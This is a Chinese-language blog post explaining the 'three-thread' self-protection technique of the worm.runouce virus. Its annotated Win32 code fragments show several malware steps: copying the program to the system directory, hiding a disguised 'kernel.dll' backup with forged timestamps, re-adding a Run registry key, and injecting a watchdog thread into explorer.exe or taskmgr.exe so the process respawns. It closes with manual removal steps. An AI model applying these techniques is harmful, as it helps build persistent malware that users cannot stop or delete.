淺析三線程程序開發(fā)思路與實現(xiàn)

作者注：
    謹以此文紀念在“11.27”慘案中殉難的紅巖烈士們！

一、前言
    中國黑客（worm.runouce）病毒在國內(nèi)出現(xiàn)以后，各大反病毒公司都對其進行了“仔細”的分析，得出一個結(jié)論：“中國黑客”發(fā)現(xiàn)了全球首創(chuàng)的“三 線程”結(jié)構(gòu)。這是金*公司對外的宣傳詞，我個人對病毒沒什么研究，并且我對worm.runouce沒有任何的個人看法，不過我可以確信的是很多反病毒公 司往往在夸大事實，目的只有一個：讓更多的用戶覺得某某病毒很可怕，讓更多的用戶相信只有某某公司的殺毒軟件才可以徹底將病毒清除掉。其實三線程并沒有好 高深的技術(shù)，不過ideal is wonderful。現(xiàn)在就讓我們一步步揭開三線程程序開發(fā)的神秘面紗。

二、三線程程序開發(fā)思路
    在操作系統(tǒng)中，進程是存儲器，外設(shè)等資源的分配單位，同時也是處理器調(diào)度的對象，但為了提高進程內(nèi)的并發(fā)性，windows系統(tǒng)中引入了線程這個概念（在 很多其他操作系統(tǒng)中同樣也有線程的概念，由于在2001年微軟停止了window9x內(nèi)核的研發(fā)，所以本文只針對windowx2000/xp操作系 統(tǒng)），這時系統(tǒng)把線程作為處理器調(diào)度的對象，一個進程可以同時擁有多個并發(fā)的線程。通常情況下的簡單程序就只有一個主線程，它是在進程創(chuàng)建時自動生成的。 我們可以將想要執(zhí)行的代碼放在主線程里，然后再生成兩個輔助線程，它們的功能就是實現(xiàn)對程序的保護功能，防止程序被用戶關(guān)閉或刪除。在此，稱我們的可執(zhí)行 文件的進程為主進程。

    主線程需要完成的任務(wù)有三個，它們分別是準備工作，創(chuàng)建輔助線程和程序主要功能的實現(xiàn)。準備工作當然是為程序運行過程中所需要的一些部件做好準備，其中包 括文件復(fù)制和保存，一般情況下是把可執(zhí)行文件復(fù)制到系統(tǒng)目錄下。當然為了防止意外刪除，我們可以將程序的可執(zhí)行文件備份，不過要注意修改一些屬性（文件類 型，大小，日期，屬性），這樣就不容易被發(fā)現(xiàn)與我們的可執(zhí)行文件有關(guān)聯(lián)了。創(chuàng)建輔助線程包括兩個線程，一個駐留在主進程體內(nèi)，另一個通過創(chuàng)建遠程線程駐留 到其他正在運行的進程體內(nèi)。這兩個線程的功能就是監(jiān)視其他進程或線程的運行情況，如果出現(xiàn)異常立即恢復(fù)。程序的主要功能就不用多說了，想干什么就干什么， 一般是一些不想讓用戶關(guān)閉的程序。

    駐留主進程體內(nèi)的線程同時觀察注冊表和遠程進程的情況。它實時查詢注冊表里 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run鍵下相關(guān)可執(zhí)行文 件的鍵值，如果被刪除就立即將其添加上。這就是對注冊表的實時監(jiān)視，使得每次開機時都會運行我們的可執(zhí)行文件。而另一個功能則是監(jiān)視駐留在遠程進程體內(nèi)輔 助線程的運行情況，如果該線程被關(guān)閉，立即通過創(chuàng)建遠程線程將被關(guān)閉的線程駐留到特定的進程內(nèi)。如果你知道了輔助線程是駐留在那個進程內(nèi)的，你就可以將這 個遠程進程關(guān)閉掉。但是我們還是可以將輔助線程駐留到其他的遠程進程內(nèi)。至于選定哪個遠程進程，完全視你的心情而定。

    駐留在遠程進程體內(nèi)的輔助線程則監(jiān)視主進程的運行情況，如果主進程被kill了，它會確認程序的可執(zhí)行文件是否也被刪除掉了。如果系統(tǒng)目錄下的可執(zhí)行文件 不存在了，則用我們備份的文件恢復(fù)可執(zhí)行文件，然后再重新啟動程序，這樣你在任務(wù)管理器里怎么也刪除不了主進程。由于我們是創(chuàng)建遠程線程，所以必須把線程 的代碼和線程所需要的參數(shù)都復(fù)制到遠程進程的地址空間里。這是因為在windows2000/xp環(huán)境下，訪問其他進程地址空間是違規(guī)的。我們把代碼和參 數(shù)復(fù)制過去后，線程就完全在遠程進程的地址空間運行了。我們可以看到，通過兩個輔助線程，就很難把主進程關(guān)閉或刪除掉。

    現(xiàn)在我們就以一個誘鼠器為例，來分析三線程的程序結(jié)構(gòu)，如下圖：

  |---------->-----------|  
remote ---<--- T-mouse --->--- watch --->--- Registry
  |------------------<--------------------|

    其中T-mouse為主進程/主線程，remote為創(chuàng)建的遠程線程，watch為本地的輔助監(jiān)視線程，Registry為注冊表文件。T-mouse創(chuàng) 建remote和watch兩個線程，remote監(jiān)視T-mouse主進程，watch監(jiān)視注冊表文件和remote線程。  
   
三、核心代碼分析
    本文的程序僅針對windows2000/xp操作系統(tǒng)，程序中使用的UNICODE編碼。測試環(huán)境：Windows2000 + SP2 + VC6.0。整個程序分主線程main，本地輔助監(jiān)視線程watch，遠程線程remote,還包括獲得進程ID的processtopid和創(chuàng)建遠程線程的createremote兩個自定義函數(shù)。

1.主線程：main
    GetSystemDirectory(syspath,MAX_PATH);
    //獲得操作系統(tǒng)的系統(tǒng)目錄；
    FindFirstFile(tname,&fdata);
    //查詢系統(tǒng)目錄下的T-mouse.exe是否存在；
    CopyFile(curname,tname,TRUE);
    //如果系統(tǒng)目錄下沒有，在將正在運行的程序復(fù)制到系統(tǒng)目錄下；
    FindClose(ffhandle);
    //在查詢完畢后，關(guān)閉相關(guān)句柄；
    CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    //打開系統(tǒng)目錄下的備份文件kernel.dll；
    SetFileTime(fchandle,&ftime,NULL,&ftime);
    //修改kernel.dll的創(chuàng)建時間，修改時間；
    SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
    //設(shè)置kernel.dll的屬性為只讀，系統(tǒng)及隱藏；
    CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
    //創(chuàng)建駐留在主進程內(nèi)的輔助監(jiān)視線程

2.本地輔助監(jiān)視線程：watch
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_VALUE,&hkey);
    //以查詢方式打開注冊表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run；
    RegQueryValueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
    //查詢是否存在T-mouse的鍵值；
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
    //如果沒有相關(guān)鍵值，就以寫方式再次打開注冊表；
    RegSetValueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
    //寫入我們想要的東西，系統(tǒng)每次啟動都會運行我們的可執(zhí)行文件；
    GetExitCodeThread(wethread,&exitcode);
    //獲得遠程線程的運行情況，看是否為STILL_ACTIVE，如果不是則創(chuàng)建遠程線程；
   
3.遠程線程：remote
    tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
    //以所有可能的訪問方式打開主進程，以便監(jiān)視主進程的運行情況；
    tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
    //等待直到主進程結(jié)束；
    tWinExec(erp->rpwinexecname, 0);
    //重新啟動我們的可執(zhí)行文件；

4.獲得進程ID：processtopid
    EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
    //列舉所有的進程
    OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
    //以查詢信息和讀取的方式打開進程
    EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
    //獲得進程模塊的句柄
    GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
    //獲得特定模塊的名字，以備比較

5.創(chuàng)建遠程線程：createremote
    OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
    //PROCESS_CREATE_THREAD for CreateRemoteThread
    //PROCESS_VM_OPERATION  for VirtualAllocEx
    //PROCESS_VM_WRITE      for WriteProcessMemory
    VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    //在遠程進程中分配空間，以備將線程代碼置入其中；
    WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
    //將遠程線程remote的代碼寫入到遠程進程的地址空間中
    WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
    //將遠程線程所需的參數(shù)也寫入到遠程進程的地址空間中
    CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
    //創(chuàng)建遠程監(jiān)視線程

四、小結(jié)與后記
    我們已經(jīng)看到，創(chuàng)建三線程就是為了更好的保護程序自身不被關(guān)閉和刪除。兩個輔助線程相互實時監(jiān)視，如果監(jiān)視對象被關(guān)閉了，就重新創(chuàng)建線程或進程。其實，在 程序中我們選擇的遠程進程駐體為Explorer.exe和Taskmgr.exe。在通常情況下，如果用戶知道了遠程線程的駐體為資源管理器后，就會打 開任務(wù)管理器來結(jié)束Explorer，這時我們再把遠程線程駐入到任務(wù)管理器中。也就是說，只要Explorer或Taskmgr有一個存在，就不可能結(jié) 束主進程。如果有其他Kill進程的工具，你就可以將其關(guān)閉掉，只要資源管理器和任務(wù)管理器均不存在時，就沒有駐體來維持遠程進程。不過，如果我們選擇的 遠程進程為隨機的，這就不容易發(fā)現(xiàn)了；如果我們選擇的遠程進程為系統(tǒng)文件（如smss.exe會話管理器），那么你是不會安全的結(jié)束遠程線程，除非系統(tǒng)崩 潰。

    如何不用其他的工具將其關(guān)閉并刪除呢？你也可以進入到DOS或Safe模式下，將系統(tǒng)目錄下的可執(zhí)行文件刪除，然后重啟系統(tǒng)。這時，就不會自動運行程序 了，然后將注冊表里RUN鍵下的相關(guān)鍵值，系統(tǒng)目錄下的備份文件及首次運行的可執(zhí)行文件刪除就徹底清楚了。在調(diào)試程序時，為了對遠程線程的運行情況有所了 解，我們使用了工具Dbgview.exe。

關(guān)于：

FZ5FZ，我們主要從事網(wǎng)絡(luò)/系統(tǒng)安全的學習與研究，深入編程技術(shù)的剖析與探討，堅持原創(chuàng)，追求共享。
FZ5FZ  主頁：http://fz5fz.yeah.net

posted on 2007-10-25 17:19 楊粼波 閱讀(254) 評論(0)  編輯 收藏 引用